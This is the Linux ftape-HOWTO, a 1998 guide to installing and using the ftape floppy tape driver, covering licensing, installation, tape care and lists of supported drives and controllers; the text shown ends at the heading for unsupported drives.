This HOWTO discusses essential do's and dont's for the ftape floppy tape driver under Linux. It focusses on the newest version which is ftape-4.02 at the time of this writing. This HOWTO is to be intended as first step help and source of information. The ftape driver interfaces to QIC-40, QIC-80, QIC-3010 and QIC-3020 compatible drives, and to the Iomega Ditto 2GB and Ditto Max drives. The QIC-3010 and QIC-3020 standards are also known as `Travan' (TR-2 and TR-3). These drives connect via the floppy disk controller (FDC) which may be either an internal FDC or inside of certain parallel port floppy tape drives. Please refer to the section Supported drives for further information. ftape does not cover SCSI or QIC-02 tape drives. DAT tape drives usually (always?) connect to a SCSI controller. This is but one of the Linux HOWTO documents. You can get an index of the HOWTOs from the Linux HOWTO index, while the real HOWTO's can be fetched (using ftp) from sunsite.unc.edu:pub/Linux/doc/HOWTO (this is the ``official'' place) or via the World Wide Web from the Linux Documentation Project home page.

1. Legalese

2. Revision History

3. The preliminaries

  • 3.1 Other sources of information
  • 3.2 Contacts
  • 3.3 What is ftape

4. Getting and installing ftape

  • 4.1 Getting ftape
  • 4.2 Differences between ftape-2.x, ftape-3.x and ftape-4.x versions
  • 4.3 Installing the driver with v2.0.x and earlier kernels
  • 4.4 Installing the driver with v2.1.x and later kernels
  • 4.5 Following the development of the ftape driver
  • 4.6 Mixing ftape and floppies

5. The Care and Feeding of Tape and Tape Drives

  • 5.1 Formatting
  • 5.2 Retensioning
  • 5.3 Drive Cleaning
  • 5.4 Repairing de-spooled cartridges

6. Hardware support

  • 6.1 Supported tape drives
  • 6.2 Supported special controllers
  • 6.3 Unsupported tape drives
  • 6.4 Using an external tape drive with ftape
  • 6.5 PCI motherboards and ftape

7. Backing up and restoring data

  • 7.1 Writing an archive to a tape
  • 7.2 Restoring an archive
  • 7.3 Testing the archive
  • 7.4 Putting more than one backup on a tape
  • 7.5 Appending files to an archive
  • 7.6 Mount/unmounting tapes

8. Creating an emergency boot floppy for ftape

9. Frequently Asked Questions

10. FAQ: "Compiling and installing Ftape" related questions !

  • 10.1 What Ftape version should I use?
  • 10.2 I'm having problems getting my XYZ drive to run under the 2.0.xx kernel with the built-in driver. How do I fix this?
  • 10.3 I'm running Linux/SMP and the system just freezes when trying to access the Ftape devices!
  • 10.4 Why does depmod complain about "undefined symbols"?
  • 10.5 "insmod" says the kernel version is wrong
  • 10.6 "insmod" says that kernel 1.2.0 and 1.2.0 differ
  • 10.7 Trying to compile Ftape gives me the error "modversions.h: no such file or directory"
  • 10.8 What is this versioned symbols stuff anyway?
  • 10.9 I seem to be getting sftape instead of zftape. When I run "ftmt status" command, I get output that the Ftape docs says corresponds to sftape ( /dev/qft0: Invalid argument ). Why?
  • 10.10 My Ditto DASH/FC-20/Exabyte Accelerator card works under Microsoft Windows, but I get a drive not found type of error in /var/log/messages when trying to use it under Linux.
  • 10.11 Ftape DMA transfers gives ECC errors
  • 10.12 Help! I'm getting 'dmaalloc() failed' in my syslog file.
  • 10.13 Syslogd works overtime when running Ftape
  • 10.14 How do I change the trace-level?
  • 10.15 I'm having problems with Ftape. I'm using the latest version of Ftape from the Ftape Home Page and believe that I've located a real bug. What should I do?

11. FAQ: "Using Ftape" related questions !

  • 11.1 How fast is Ftape ?
  • 11.2 When I write to some of my tapes, they seem to spend a lot of time "shoe-shining," or repositioning instead of streaming. Is something wrong with my system?
  • 11.3 Do I have to reboot to the DOS world to format tapes?
  • 11.4 Is it possibly to format Ditto 2GB tapes with ftape?
  • 11.5 Is it possibly to format Ditto Max or Max Pro tapes with ftape?
  • 11.6 Ftape detects more bad sectors than DOS on QIC-3020 tapes
  • 11.7 Is it ok that I'm not hearing the tape move when I do a fsf or a bsf with mt?
  • 11.8 Why does my XYZ backup program complain about "Invalid argument" errors?
  • 11.9 I/O errors and FDC - some explanations.
  • 11.10 Why do I get "/dev/qft0: No such device" errors?
  • 11.11 I get "device busy" when I make multiple backups on a tape using some script.
  • 11.12 How do I "..." with tar?
  • 11.13 What block-size should I use with tar ?
  • 11.14 Where can I find the tar/mt/cpio/dd binaries - sources - manpages?
  • 11.15 If I use tapers compression, is it a bad idea to use the compression with zftape, or would it be better to not use tapers compression, and let zftape do it?
  • 11.16 How does zftape compression compare to say gzip -9?
  • 11.17 I don't trust compression, but hear that the sftape interface is going away. What should I do?
  • 11.18 Ftape says "This tape has no 'Linux raw format"
  • 11.19 Can I exchange tapes with someone using DOS?
  • 11.20 How does `mt eom' work when you've started overwriting a tape in the middle?
  • 11.21 When I made backups before using taper, under the 2.0.29 ftape my drive didn't support fsf, under the new zftape it does, why would this be, and what exactly is fsf ?
  • 11.22 What exactly is the difference between ftape, and zftape?
  • 11.23 What is the difference between a rewinding, and non rewinding drive?
  • 11.24 Can someone tell me how to use mt to rewind my TR-3 drive one record using zftape record, so I can verify it?
  • 11.25 By non-rewinding, they mean that it doesn't automatically rewind, correct? It doesn't mean that under no circumstances it will rewind, right? I tried using /dev/zqft0, and it instantly rewinds the tape.
  • 11.26 What is the difference between what mt considers a record and what it considers a file?
  • 11.27 Reusing tapes with zftape without reformatting the tape.
  • 11.28 This script implements a simple contents listing for the zftape package using the "MTIOCVOLINFO" ioctl.

12. FAQ: "Tape and Drivers" related questions !

  • 12.1 What are good makers of Travan tapes?
  • 12.2 Where can I obtain the QIC standards?
  • 12.3 Is the Iomega Ditto 2GB drive supported?
  • 12.4 Is the Iomega Ditto Max drive supported?
  • 12.5 Is the Iomega Ditto Max Pro drive supported?

13. FAQ: Miscellaneous !

  • 13.1 How to subscribe to the Ftape Mailing List?
  • 13.2 How to un-subscribe from the Ftape Mailing List?
  • 13.3 Links to related information.

14. Debugging the ftape driver

  • 14.1 The kernel/ftape crashes on me when I do `...' - is that a bug?
  • 14.2 OK, it's a bug ...ehhh... feature - How do I submit a report?

15. Contributions


Ftape-HOWTO: Legalese

 Next Previous Contents

1. Legalese

The Linux ftape-HOWTO may be reproduced and distributed in whole or in part, subject to the following conditions:

Copyright (c) 1993-1996 by Kai Harrekilde-Petersen
Email: khp@dolphinics.no

Copyright (c) 1996-1997 by Kevin Johnson
Email: kjj@pobox.com

Copyright (c) 1998 by Claus-Justus Heine
Email: heine@math1.rwth-aachen.de

The Linux ftape-HOWTO is a free document; you may reproduce and/or modify it under the terms of version 2 (or, at your option, any later version) of the GNU General Public License as published by the Free Software Foundation.

This HOWTO is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

The author encourages wide distribution of this document for personal or commercial use, provided that the above copyright notice remains intact and the provisions of the GNU General Public License are adhered to. The summary is that you may copy and distribute this document free of charge, or for a profit. No explicit permission is required from the author for reproduction of this document in any medium, physical or electronic.

Note that derivative works and translations of this document must be placed under the GNU General Public License, and the original copyright notice must remain intact. If you have contributed new material to this document, you must make the source code (e.g., SGML source) available for your revisions. Please make revisions and updates available directly to the author: Contact heine@math1.rwth-aachen.de via Internet e-mail. This will allow the author to merge updates and provide consistent revisions to the Linux community.

The author encourages distributors of Linux software in any medium to use the HOWTO as an installation and user guide. Given the copyright above, you are free to print and distribute copies of this document with your software. If doing so, you may wish to include a short ``installation supplement'' for your release, or modify the relevant sections of this book to reflect your product.

The author would like to know of any plans to publish and distribute this HOWTO commercially. In this way, we can ensure that you are kept up-to-date with new revisions. And, should a new version be right around the corner, you might wish to delay your publication of the HOWTO until it is available.

If you are distributing this HOWTO commercially, donations, royalties, and/or printed copies are greatly appreciated by the author. Contributing in this way shows your support for free software and the Linux Documentation Project.

If you have questions or comments, please contact the author at

heine@math1.rwth-aachen.de


Ftape-HOWTO: Revision History

 Next Previous Contents

2. Revision History

version 3.0 (August, 1998)

  • Additions to list of supported hardware.
  • New section about differences between ftape versions.
  • Pointers to the Ftape-FAQ and the Ftape manual.
  • Updated to ftape-4.02.
  • Additions to the FAQ.
  • Update all URLs.
version 2.0 (March 15, 1997)

  • Updated to ftape v2.11 and v3.xx
  • Lots of updates.
version 1.9 (September 20, 1996)

  • New maintainers of ftape and the HOWTO.
  • A few minor formatting and spelling fixes.
  • Updated for Linux v2.0.
  • Started to integrate some of Andrew Martin's ftape info.

version 1.8 (May 22, 1996)

  • Copyright policy changed to GNU GPL v2
  • The maintainer's email address has changed.
  • Updated to ftape-2.08
  • ftape is now a part of the kernel distribution.
version 1.7.1 (February 13, 1996)

  • Updated to ftape-2.06b
version 1.7 (January 28, 1996)

  • Updated to ftape-2.06 and modules-1.3.57
version 1.6.2 (January 23, 1996)

  • Connor TST3200R drive added
  • Updated 2Mbps fdc information.
version 1.6.1 (January 16, 1996)

  • minor corrections
version 1.6 (January 10, 1996)

  • New maintainer of ftape
  • updated to v2.05
  • added new drives


Ftape-HOWTO: The preliminaries

 Next Previous Contents

3. The preliminaries

3.1 Other sources of information

ftape version 3

ftape-3.x came with a manual of its own, which is contained in the ftape-3.04d package available from the usual places. See Getting Ftape.

ftape version 4

ftape-4.x also has a documentation package ftape-doc which is available from the usual places. This Ftape-HOWTO, however, also focusses on ftape-4.x and is meant as an entry point to the available documentation. See Getting Ftape.

ftape-tools

The ftape-tools package (including useful utilities for ftape) comes with its own manual. See Getting Ftape.

Ftape-FAQ

The Ftape-FAQ is included wordly in this manual, but more recent versions may be found at http://www.correct.nl/~ftape.

3.2 Contacts

The maintainer of the source for ftape is Claus Heine <heine@math1.rwth-aachen.de>. He has a web page at http://www-math.math.rwth-aachen.de/~LBFM/claus/ftape/.

If you have a problem or questions about ftape, try posting to the Linux Tape mailing list linux-tape@vger.rutger.edu (see Following the ftape development below). There also used to be a newsgroup that mirrored the mailing list traffic but it has vanished some time ago.

I use ftape (it is my sole means of backing up on my linux box :-). I hesitate to make recommendations on what hardware to buy. See the section Supported drives and Unsupported drives for a list of supported and unsupported drives.

You should try to post a summary of your problems and its solution(s), after you've got it working, even if you only got it partially working. Please also send a copy copy of your solution to the Linux Tape mailing list at <linux-tape@vger.rutgers.edu> so that it can be added to the HOWTO and/or the FAQ.

If you receive this as part of a printed distribution or on a CD-ROM, please check out the Linux Documentation home page or ftp to ftp://sunsite.unc.edu:/pub/Linux/doc/HOWTO to see if there exists a more recent version. This could potentially save you a lot of trouble.

If you email me, please include the string ftape in the subject line. This will help ensure the mail doesn't inadvertently get buried. But preferrably you should email to the Linux Tape mailing list at <linux-tape@vger.rutgers.edu> instead of contacting me directly.

3.3 What is ftape

ftape is a driver program that controls various low-cost tape drives that connect to the floppy controller.

ftape is not a backup program as such; it is a device driver, which allows you to use the tape drive (just like the SoundBlaster 16 driver let you use your sound card) through the device files /dev/[n]qft[0-3].

ftape was originally written by Bas Laarhoven <bas@vimec.nl>, with ``a little help from his friends'' to sort out the ECC (Error Correcting Code) stuff. ftape is copyrighted by Bas under the GNU General Public License, which basically says: ``go ahead and share this with the world, just don't disallow other people from copying it further''.

ftape has undergone several changes since then. While the Linux-2.0.x kernel series still contains ftape-2.08 the v2.1.x and soon the v2.2.* kernel series come with ftape-3.x (hopefully even with ftape-4.02, but this wasn't clear at the time of this writing) which differs in some points from the ftape-2.x driver. Since version 3.00 the ftape driver has been maintained by me (Claus-Justus Heine); it has been changed and improved in several respects and support for new hardware has been added.

ftape is quite stable, and has been that for some time now. It is reliable enough for critical backups (but it's always a good idea to check your backups, so you won't get a nasty surprise some day).

ftape supports drives that conform to the QIC-117 and one of the QIC-80, QIC-40, QIC-3010, and QIC-3020 standards as well as the Iomega Ditto 2GB and Ditto Max drives which no longer strictly conform to the QIC standards in all respects.

ftape can drive floppy tape drives that connect to the internal FDC as well as certain parallel port floppy tape drives.

ftape supports neither QIC-02, IDE (ATAPI), nor SCSI tape drives. SCSI drives are accessed as /dev/[n]st[0-7] and are supported by the kernel through the SCSI drivers. If you look for help on SCSI tape drives, you should read the SCSI-howto. ATAPI tape drives are supported by the kernel since 1.3.46. See section Supported drives and Unsupported drives for a list of supported and unsupported drives.


Ftape-HOWTO: Getting and installing ftape

 Next Previous Contents

4. Getting and installing ftape

4.1 Getting ftape

The v2.0.x versions of the kernel include version 2.08 of ftape I recommend, however, that you grab the latest version of the full source code package for ftape. It is a newer version, includes files that are not included in the kernel v2.0.X distribution, and includes much better documentation about how to install ftape. The v2.1.x and later versions of the kernel include the version 3.04 of ftape.

I recommend that you download the latest stable version of ftape which is 4.02 at the time of this writing and is available from

http://www-math.math.rwth-aachen.de/~LBFM/claus/ftape/archives.html

as well as from

ftp://sunsite.unc.edu/pub/Linux/kernel/tapes/.

You probably should also grab the ftape-doc and the ftape-tools package that are available from the same locations.

If you still want to use the ftape-2.08 which is shipped with the v2.0.x kernels, then you get a version of the driver which is really out of date and doesn't support QIC-3020 tapes at 2Mbps correctly, neither does it support the Ditto 2GB drives nor the Ditto Max drives nor any kind of parallel port tape drive. The section Supported drives gives detailed information about which version of the ftape driver supports which hardware.

4.2 Differences between ftape-2.x, ftape-3.x and ftape-4.x versions

ftape-3.x and ftape-4.x use the file system interface that was implemented for a branch release which was called zftape. Actually, the module that implements the VFS (Virtual File System) interface of ftape-3.x and ftape-4.x still is called zftape.o and its C-sources inside the kernel tree reside in [/usr/src/linux/]drivers/char/ftape/zftape/.

ftape-2.x (i.e. the version still contained in the v2.0.x kernel) uses another file system interface, that was implemented by ftape's original author Bas Larhoven.

File Marks

The conceptional difference between ftape-2.x and later versions of ftape is the way file marks are implemented.

Floppy tape devices don't have real file marks.

File marks are used to distinguish different backup sets if you write multiple backup sets to a tape. SCSI and QIC-150 tapes have real file marks, i.e. between two different backup sets there is a region on the tape that is written special data to so that the drive logic can detect that marker when the tape is wound with (possibly) high speed over those file marks.
Because the goal of ftape's file system interface was from the beginning on to provide an interface that could be used with standard Unix-like tape utilities (i.e. mt) the developers of ftape started to emulate file marks by storing the positions on the tape where a file mark should be located in certain fields of the header segments.
header segments refers to a region at the beginning of the tape sized two times 29k to hold some important information about the tape format and size and some status information.

However, the QIC standards already designate a special region to store such information in, the so called volume table segment. Since ftape-3.x this volume table segment is used instead of using unused data fields in the header segment. As a result it is possible to use your tape cartridge with different operating systems in the sense that your Win or DOS backup program will realize that certain regions of the tape cartridge are already occupied with data, and ftape-3.x and later will detect the regions used by those DOS and Win programs. However, you can't extract a DOS backup set under Linux or extract a volume written by ftape under DOS, safe you write your own software to do that.

IOCTL interface

There are certain differences in the IOCTL

This IO control interface is used by e.g. mt to rewind the tape or skip to the next file mark or do any other tape operation.
interface between ftape-2.x and ftape-3.x and later. A detailed description can be found in the ftape-manual contained in the ftape-doc package. See Getting Ftape.

Formatting

Formatting of cartridges is supported with ftape-3.x and later only. Please get the ftape-tools package that contains the ftformat program that interfaces to the driver to format cartridges. See Getting Ftape. The ftape-tools package comes with (more or less) detailed documentation, so the case of formatting cartridges is not dealt with in this document.

Compression

ftape-3.x supported user transparent on-the-fly compression in software. This feature (or bug) has vanished in ftape-4.x as it made further improvements concerning the realiability of backups very very hard. This means, ftape-4.x comes without compression support.

However de-compression of compressed archives produced with ftape-3.x is supported in order not to brake existing backup programs where a user-level filter would not suffice to preserve compatibility. Think, e.g., of taper which calls the MTIOC ioctls itself instead of relying on the mt program to perform tape operations.

The ftape-manual contained in the ftape-doc package contains much more detailed information about ftape`s file system interface as well as implementation notes which by far exceed the scope of this HOWTO. See Getting Ftape for informations about where to obtain the manual.

4.3 Installing the driver with v2.0.x and earlier kernels

The following section provides some useful information to get you going with the installation of v4.x which is not shipped with the kernel source tree yet but has to be downloaded separately, see the section Getting ftape above.

Once you've downloaded the source code (probably ftape-4.02-tar.gz), untar it. You can do this by determining what directory you want the source code to be located in. I recommend /usr/src/ or ~/src. When the tar file is extracted, it will dump everything into a ftape-4.02 subdirectory, so that you'll end up, in the example I've given, with something like /usr/src/ftape-4.02 or ~/src/ftape-4.02.

NOTE: you cannot compile ftape-4.02 into your v2.0.x kernel. Instead, configure your kernel to not compile the ftape driver and follow the installation instructions in the ftape-4.02 distribution and install ftape-4.02 as a module.

Read the README file. The README is required reading. It's the top of the tree, so to speak. If there are specific files that the README tells you to read then read them. It will make the process much less complicated.

Do NOT proceed with compiling the package until you have read the appropriate README files and the INSTALL file.

Afterwards you need to edit the MCONFIG file and configure you package according to your hardware. The MCONFIG file contains lots of explanations so it should be fairly easy to go along with it.

However, most of the hardware configuration can be done via setting parameters during module load time so most parameters specified in the file MCONFIG simply give the default configuration, but you don't need to recompile the driver to change IO addresses or interrupt settings. The file INSTALL and the file modules/insert contain examples how to specify the proper module parameters when loading the kernel modules, so I won't go into further detail here.

If you are using a Linux-v1.3.x kernel, you should consider moving to v2.0.x. v1.3.x was the development release prior to the production release v2.0.x.

4.4 Installing the driver with v2.1.x and later kernels

Comment

Maybe ftape-4.02 will be included into the v2.2.x kernel, but this isn't clear at the time of this writing. This HOWTO will be revised appropriately when this has become clear. So long you have to refer to the previous section Installing the driver with v2.0.x and earlier kernels and disregard the contents of this section.

The Linux kernel v2.1.x and later already include ftape-4.x so you don't need to download the ftape-4.x kernel driver package.

ftape-4.x as included in the v2.1.x versions of the kernel can be completely configured using the kernel configuration menus (either with make menuconfig or make xconfig. Also, there is online help available that documents each parameter setting which I won't repeat here.

The various boot- and loadtime parameter settings are explained in the file

[/usr/src/linux/]Documentation/ftape.txt

of the Linux-v2.1.x and later kernel distributions.

4.5 Following the development of the ftape driver

If you want to follow the development of the ftape driver, you should subscribe to the Linux Tape mailing list linux-tape@vger.rutgers.edu. To do so you need to send an email saying `subscribe linux-tape' (in the body) to majordomo@vger.rutgers.edu. When you subscribe, you will be sent a greeting mail, which will tell you how to submit real mails and how to get off the list again. Store this email in a safe place. Please.

Please note that I do not, repeat DO NOT, have any special powers with regard to this mailing list. If you're stuck on the list, don't bother to tell me that. I can only shrug and send you my sympathy (but that won't get you off the list).

4.6 Mixing ftape and floppies

If you use your floppy tape drive with the standard FDC then the floppy drive and the floppy tape drive cannot run concurrently as they share the same hardware, the FDC, and the floppy and the ftape driver do not talk to each other. Thus, if you have mounted a floppy and then try to access the tape drive, ftape will complain that it cannot grab IRQ6 and then die. This is especially a problem when designing a emergency disk for use with ftape. This solution is to either load the boot/root disk into a ramdisk and then unmount the floppy, or have two floppy drive controllers.


Ftape-HOWTO: The Care and Feeding of Tape and Tape Drives

 Next Previous Contents

5. The Care and Feeding of Tape and Tape Drives

5.1 Formatting

Before a tape can be used, it must be formatted. The formatting process lays out sector information onto the tape. Other tape interfaces don't typically require formatting. The reason floppy tapes do is that they need to look like a floppy (kinda gross, but what the hey - it works :-).

Can I format my tapes under Linux?

Yes, you can, if you use ftape-3.04d or above. To format a floppy tape cartridge you need a user level tool called ftformat as well which is contained in the ftape-tools distribution (see section Getting ftape).

The ftape-tools package comes with its own manual, so I do not need to repeat here how to use ftformat.

Which formatting programs can I use under DOS?

The following are known to work:

  • Colorado Memory System's software (tape.exe)
  • Conner Backup Basics v1.1 and all Windows versions
  • Norton Backup
  • QICstream version 2
  • Tallgrass FileSecure v1.52
  • Escom Powerstream 3.0 (qs3.exe -- QICstream v3?)

These programs are known to be more or less buggy:

  • Conner Backup Basics 1.0
  • Colorado Windows tape program
  • CP Backup (wastes tape space, but is OK apart from that)

As a general rule, most software under DOS should work. The Conner Backup Basics v1.0 has a parameter off by one (someone could not read the QIC-80 specs right!), which is corrected in version 1.1. However, ftape detects this, and will work around it. Dennis T. Flaherty (<dennisf@denix.elk.miles.com>) report that Conner C250MQ owners can obtain the new v1.1, by calling Conner at 1-800-4Conner (in the US) and ask for an upgrade (for a nominal fee for the floppy). The Windows versions should work fine. Some versions of Colorado's tape program for windows, has an off-by-one error in the number of segments. ftape also detect and work around that bug.

Central Point Backup can be used, but it wastes precious tape space when it encounters a bad spot on the tape.

NOTE: If you are running a formatting software under DOS, which is not mentioned here, please mail the relevant info to me ( <heine@math1.rwth-aachen.de>), so I can update the list.

5.2 Retensioning

QIC tapes are particularly sensitive to tape stretch. The reason is that floppy tapes are pre-formatted with sector information, whereas other tape types have their sync information written as the data is written to the tape. If the floppy tape stretches and the sync fields get out of sync the result will be read errors. The problem is worse with longer tapes.

It is a good idea to retension new tapes a few times before using them and before formatting them. You should also try retensioning the tape if you are start getting read errors. It might also be a good idea retension the tape before a backup.

5.3 Drive Cleaning

The coating on the tape is an oxide compound. As the tape is dragged across the tape head it has a tendency to leave tiny amounts of residue on the head. You should periodically use a tape cleaner - following the specs for the drive in question. Tape cleaners should be available from any distributer of tapes.

One more additional note about tape cleaning. You might want to clean the drive after the first use of a brand new tape. A brand new tape will typically leave quite a bit of residue the first time it's used.

Thanks to Neal Friedman for the explanation and suggestion that this information be included in the HOWTO.

5.4 Repairing de-spooled cartridges

In rare occasions it can happen that the tape drive doesn't detect the EOT (End Of Tape) markers correctly. These markers are simply holes in the tape which are detected by the tape drive with means of a little photo-transistor (or the like).

The manual of your tape drive will probably give you proper hints how to clean those EOT detectors.

However, if the EOT detection fails, then the tape drive despooles the cartridge because the tape isn't glued to the wheels, but hold by friction only.

There are detailed instructions how to fix such a despooled tape at the Iomega WWW pages at

http://www.iomega.com/support/techs/ditto/3006.html

and at the Hewlett Packard WWW pages at

http://www.hp.com/isgsupport/cms/docs/lpg12020.html

If the pages shouldn't be in the exact locations as given above, then please try to browse a little bit through the web pages of HP or Iomega until you find the needed information.


Ftape-HOWTO: Hardware support

 Next Previous Contents

6. Hardware support

6.1 Supported tape drives

All drives that are both QIC-117 compatible and one of the QIC-40, 80, 3010, and 3020 standards should work. QIC-WIDE and Travan drives are also supported (TR-1 is just QIC-80 with 8mm tapes, while TR-2 and TR-3 is a.k.a QIC-3010 and 3020 respectively). Iomega Ditto 2GB and Ditto Max drives are supported, too, though they no longer conform to the QIC standards in every respect. Some parallel port tape drives are supported as well.

Some of the comments given below about possible problems with certain tape drives are very old, and I don't have access to all of the hardware, so I couldn't check everything.

Some of the reports below have been commented by me (<heine@math1.rwth-aachen.de>) like this:

This is a comment.

Currently, the list of drives that are known to work with ftape is:

Alloy Retriever 250

Archive 5580i, XL9250i

Colorado DJ-10, DJ-20 (aka: Jumbo 120, Jumbo 250)

Colorado 1400

<kosowsky@bellini.harvard.edu> reported a problem doing a 1G backup using taper.

Colorado Trakker parallel port tape drive

Support added by Jochen Hoenicke <Jochen.Hoenicke@Informatik.Uni-Oldenburg.DE>.

HP Colorado T1000

The problem reports are probably totally out-dated. In particular, the zftape the people talk about doesn't exist any more, and the ftape driver is the very ftape-2.08.

Works with 3M Travan 400M (TR-1) tapes with 120M tapes. Also reported that mt dies, but with backups using tar it works ok. With cpio, ftape is recommended rather than zftape. (<millner@millner.bevc.blacksburg.va.us>)

Problems have been reported with the drive continually stopping and starting with zftape (<75104.1756@compuserve.com>). This appears to be a problem with the tape going too fast for the computer; the DMA buffers are getting flushed before getting filled again. Newer versions of zftape don't do this any more is a suitably fast backup program or large DMA buffers are used (<millner@millner.bevc.blacksburg.va.us>).

Conner C250MQ(T)

The 250Q is reported to generate write error and frequent repositioning. (Frank Stuess at Nacamar Data Communications)

Write errors need not be caused by the tape drive, but also by bad tape cartridges. Frequent repositioning can be caused by bad cartridges, too, but can also be caused by overrun errors which would indicate that the FDC and DMA controller have problems to talk to each other.

Conner TSM420R, TSM850R

The 400 and 800 models only work with TR-1 tapes.

I don't know whether it was meant that named drives doesn't work with ordinary 120MB DC-2120 cartridges, or that TR-3 tapes can't be read. The tape drives weren't designed for the latter. So what.

Conner TST3200R

Works with TR-3 tapes at 1Mbps (ie. 1600M capacity only). Wirks with QIC-WIDE 400M tapes (Sony 5122's?) (<chris@cs.wmich.edu>). Works with TR3, QIC-3010, and QIC-3020 tapes. Comes with a 2MB FDC which the Promise 2300+ 1Mbps controller works (<kjh@pollux.usc.edu>).

Reported that the floppy disk can no longer read low-density floppies. May have to fiddle with IRQ/ports/dma channels (<chris@yakkocs.wmich.edu>).

The TST3200R works well with ftape.

Conner TST800R

The TST800R works with TR-1, Sony QW5122F (210M) and DC2120 tapes.

Works well with ftape since ftape-2.07 at least. Used it myself until the drive died with a melted transistor. Probably caused by over-heating it previously.

Conner CTT3200

The CTT3200 is supposedly identical to the Iomega Ditto 3200. It works with the supplied 2Mbps controller, but reported not to work under DOS on some machines. (<jmorris@dtx.net>)

Conner 1.7G Tapestor (TSM1700R)

Works with QIC-WIDE tapes (<pschmidt@slip.net>). Partially works with QIS-3200. Using the HSC-2 controller, the DMA channel needs to be changed (incremented by 1, channel2?, Modify the Makefile). You then need to modify the ftape Makefile to reflect this change. However, ftape seems to be a bit flaky with this (no version number supplied) (<ttait@tiac.net>). It may not work at 2Mbps (QIC-3020) with the HSC controller. The tape died with a messages like "dumb tape stop" and has since been unreliable (<ttait@tiac.net>).

No recent informations available

Escom or Archive (Hornet) 31250Q

Exabyte EXB-1500

Work with QIC-3010 tapes.

Exabyte TR-3

Irwin 80SX, Insight 80Mb

Iomega 250

Iomega Ditto Tape Insider 420, 1700

Iomega Ditto Tape Insider 3200

This is the unit, that I use. The default jumper settings don't work. Leave the irq and ioport address at the default (6 and 0x370, respectfully), but change the DMA from 3 to 2. (Kevin Johnson <kjj@pobox.com>).

Refer to the file MCONFIG of recent ftape distributions for other suggestions for ioport, irq and DMA channel.

May require the having {0x08882, 80, wake_up_colorado, "Iomega 3200"}, added to vendors.h on older versions of ftape.

Problems reported with ftape 2.07 and kernel 1.12.13. With all sorts of combinations of accelerator, etc, the drive may (on some systems) only be accessed once (<erwin@box.nl>). Also, after the first access, the next use of the tape says it is write protected (<erwin@box.nl>, <M.J.Ammerlaan@dutiwy.twi.tudelft.nl>).

There has been one report of a problem where the tape got wound off the end of the spool.

This may be caused by a dirty EOT sensor, and need not be a real hardware bug (except when it was a bug that dirtied the EOT sensor ...)

Another problem has been reported with writing archives (with dd) to the tape. It may start fine, but when the driver catches up with dd, it stops the tape and rewinds it to the beginning. Then it starts winding on through the tape ad infinitum. It appears to occur when the driver asks the tape to pause which should cause the tape to move back by 3 segments, but instead is moves back to the beginning of the tape. A bug fix submitted is reported to not solve the problem.

Should have been fixed somewhere between ftape-3.00 and ftape-4.00. Unluckily, the fast-skipping facilities of all Iomega floppy tape drives are really poor. Recent ftape versions work around this problem. I suggest getting the latest version of the ftape driver when you experience this problem.

Iomega Ditto 800 Insider

Works with Travan TR1, TR2, or DC2120 tapes (<klein@informatik.uni-rostock.de>).

Iomega Ditto 2GB

Support added by Jochen Hoenicke <Jochen.Hoenicke@Informatik.Uni-Oldenburg.DE> to ftape-3.xx and later.

Can't format cartridges, writing is only possible with special Ditto 2GB cartridges (hardware limitation, not a lacking feature of ftape).

Iomega Ditto Max

Iomega Ditto Max Pro

Supported since ftape-4.00. Thanks to Tim Jones <tjones@estinc.com>.

Can't format cartridges, writing is only possible with special Ditto Max cartridges (hardware limitation, not a lacking feature of ftape)

I wasn't able to get the Ditto Max to work with any other device than /dev/[n]qft0. I don't know whether this is a feature of the Ditto Max or the Ditto EZ controller I had plugged the Ditto Max into.

Comment

You don't need to buy a Ditto Max Pro to use the 5/10GB cartridges. With ftape there is no real difference between the Ditto Max and the Ditto Max Pro.

Iomega Ditto 800/3200/2GB/Max/Max Pro Easy (parallel port)

Supported since ftape-4.00 with the bpck-fdc FDC driver.

Mountain FS8000

Reveal TB1400

Reported not to work with kernel 1.3.79 and ftape (no version given) or with kernel 1.2.13 and zftape 1.04 (<colin@colina.demon.co.uk>).

The mentioned ftape driver versions are out of date. If you still have such a beast try the more recent versions of the ftape driver.

Summit SE 150, SE 250

Tallgrass FS300

If you have a Tallgrass FS300 and an AHA1542B, you need to increase the bus-on / bus-off time of the 1542B. Antti Virjo (<klanvi@uta.fi>), says that changing CMD_BUSON_TIME to 4 and CMD_BUSOFF_CMD to 12 in linux/drivers/scsi/aha1542.c will do the trick.

Teac 800

Memorex tape drive backup system

Wangtek 3040F, 3080F

You can always check out the newest list of drives that are recognised by ftape, by looking in the file vendors.h in the ftape distribution.

Although I do not want to endorse one drive type over another, it has been reported that the Colorado DJ-20 drive is rather noisy, when compared to, say, a Conner C250MQ drive ('tis said that the Colorado is 5-10 times as noisy as the Conner drive. Since I have neither, I can't tell for sure).

If you have a drive that works fine, but it is not listed here, or if you have corrections to the above information, please send a mail to the HOWTO maintainer (<heine@math1.rwth-aachen.de>).

6.2 Supported special controllers

These dedicated high-speed tape controllers are supported by ftape:

  • Colorado FC-10, FC-20
  • Mountain MACH-2
  • Iomega Tape Accelerator II
  • 2Mbps controllers (using the i82078-1 fdc)
  • Iomega Ditto EZ 4Mbps PnP controller

Colorado FC-10, FC-20

Support for the FC-10 controller has been merged into the ftape driver in version 1.12. See the RELEASE-NOTES and the Makefile files in the ftape distribution. Since of version 2.03 of ftape, the FC-20 controller will work, but only at 1Mbit/sec (check the Release notes!).

Mountain MACH-2

The support for the MACH-2 controller was added in ftape-1.14d.

Iomega Tape Accelerator II

To use the Iomega Tape Accelerator II (not to be mistaken as the Iomega Ditto Dash!), use -DMACH2, and set the right settings for I/O base, IRQ and DMA. This works (by the empirical testing of Scott Bailey <sbailey@xcc.mc.xerox.com>), with at least ftape-2.02.

Iomega Ditto Dash and other 2Mbps controllers

The Iomega Ditto Dash, and all other known 2Mbps controllers, use the Intel 82078-1 chip, which can run at 2Mbps. This is supported properly since ftape-3.00.

Iomega Ditto EZ PnP controller

This controller requires the use of e.g. the isapnptools package to configure it. You may get it from

http://www.roestock.demon.co.uk/isapnptools/

The controller will cause too many overrun errors when used at the highest possible speed of 4Mbps. Neither Tim Jones <tjones@estinc.com> nor I <heine@math1.rwth-aachen.de> have been able to find but a single system which could run the controller at 4Mbps. 3Mbps seems to be fine.

If you configure the Ditto EZ to use DMA 2 (the DMA channel used by the floppy controller) then your floppy drive will no longer work. It doesn't help to disable the controllers DMA gate (as is the case with other hight speed controllers) so this can't be helped from inside ftape.

6.3 Unsupported tape drives

